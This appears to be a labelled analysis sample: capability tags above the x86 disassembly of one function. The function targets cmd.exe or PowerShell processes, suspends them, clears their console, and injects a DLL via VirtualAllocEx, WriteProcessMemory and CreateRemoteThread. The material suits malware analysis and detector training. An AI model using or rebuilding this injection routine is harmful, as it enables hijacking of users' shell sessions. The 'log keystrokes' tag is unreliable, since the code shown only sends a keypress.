Function at 0x401a20
Capabilities:
Create thread
Inject thread
Log keystrokes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
push ebx
push esi
push edi
push 0xc7a
call fcn.004019b0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x401a47
jmp 0x401da8
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004018f0
add esp, 8
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [0x406428]
add ecx, 0x30
push ecx
call dword [sym.imp.SHLWAPI.dll_PathIsPrefixW]
test eax, eax
jne 0x401a7a
jmp 0x401da8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
push str.CMD.EXE
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ntdll.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x401abe
push str.POWERSHELL.EXE
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ntdll.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x401abe
jmp 0x401da8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_NtSuspendProcess]
test eax, eax
je 0x401ad1
jmp 0x401d94
push str.CMD.EXE
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.ntdll.dll__wcsicmp]
add esp, 8
test eax, eax
jne 0x401bd1
call fcn.004014c0
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 0x1c]
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x450], 1
mov eax, 0xd
mov word [ebp - 0x44c], ax
push 0
push 0xd
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov word [ebp - 0x44a], ax
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x444], 0
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
mov dword [ebp - 0x440], eax
push 0x1c
lea eax, [ebp - 0x450]
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
lea eax, [ebp - 0x46c]
push eax
mov ecx, dword [ebp - 0x454]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
xor eax, eax
mov word [ebp - 0x468], ax
movsx eax, word [ebp - 0x466]
sub eax, 1
mov word [ebp - 0x466], ax
mov eax, dword [ebp - 0x468]
push eax
mov ecx, dword [ebp - 0x454]
push ecx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea eax, [ebp - 0x470]
push eax
mov ecx, dword [ebp - 0x468]
push ecx
movsx edx, word [ebp - 0x46a]
movsx eax, word [ebp - 0x466]
sub edx, eax
movsx ecx, word [ebp - 0x46c]
imul edx, ecx
push edx
push 0x20
mov edx, dword [ebp - 0x454]
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov eax, dword [ebp - 4]
push eax
call fcn.004018d0
add esp, 4
mov dword [ebp - 0x214], eax
push 0
push 0
push 0x100000
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [0x40a0a4]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x401c0c
jmp 0x401d94
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00401860
add esp, 0xc
push 0
xor eax, eax
cmp dword [ebp - 0x214], 0
setne al
lea eax, [eax*4 + 4]
push eax
lea ecx, [ebp - 0x220]
push ecx
mov edx, dword [ebp - 0x214]
neg edx
sbb edx, edx
and edx, 0xc
add edx, 0xc
add edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x401c6d
jmp 0x401d94
push 0
xor eax, eax
cmp dword [ebp - 0x214], 0
setne al
lea eax, [eax*4 + 4]
push eax
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 0x220]
add edx, 8
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401ca4
jmp 0x401d94
mov eax, dword [ebp - 0x214]
neg eax
sbb eax, eax
and eax, 0x20
add eax, 0x20
push eax
push 0x40a964
push str._sCmdSus_d.dll
push 0x104
lea ecx, [ebp - 0x430]
push ecx
call dword [sym.imp.ntdll.dll_swprintf_s]
add esp, 0x14
lea edx, [eax + eax + 2]
mov dword [ebp - 0x434], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x434]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
jne 0x401d0c
jmp 0x401d94
push 0
mov eax, dword [ebp - 0x434]
push eax
lea ecx, [ebp - 0x430]
push ecx
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401d33
jmp 0x401d94
cmp dword [ebp - 0x214], 0
je 0x401d49
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x228], eax
jmp 0x401d54
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x228], eax
push 0
push 0
mov eax, dword [ebp - 0x224]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 0
jne 0x401d85
jmp 0x401d94
mov eax, dword [ebp - 0x474]
push eax
call dword [sym.imp.ntdll.dll_NtClose]
jmp 0x401d9e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_NtResumeProcess]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ntdll.dll_NtClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret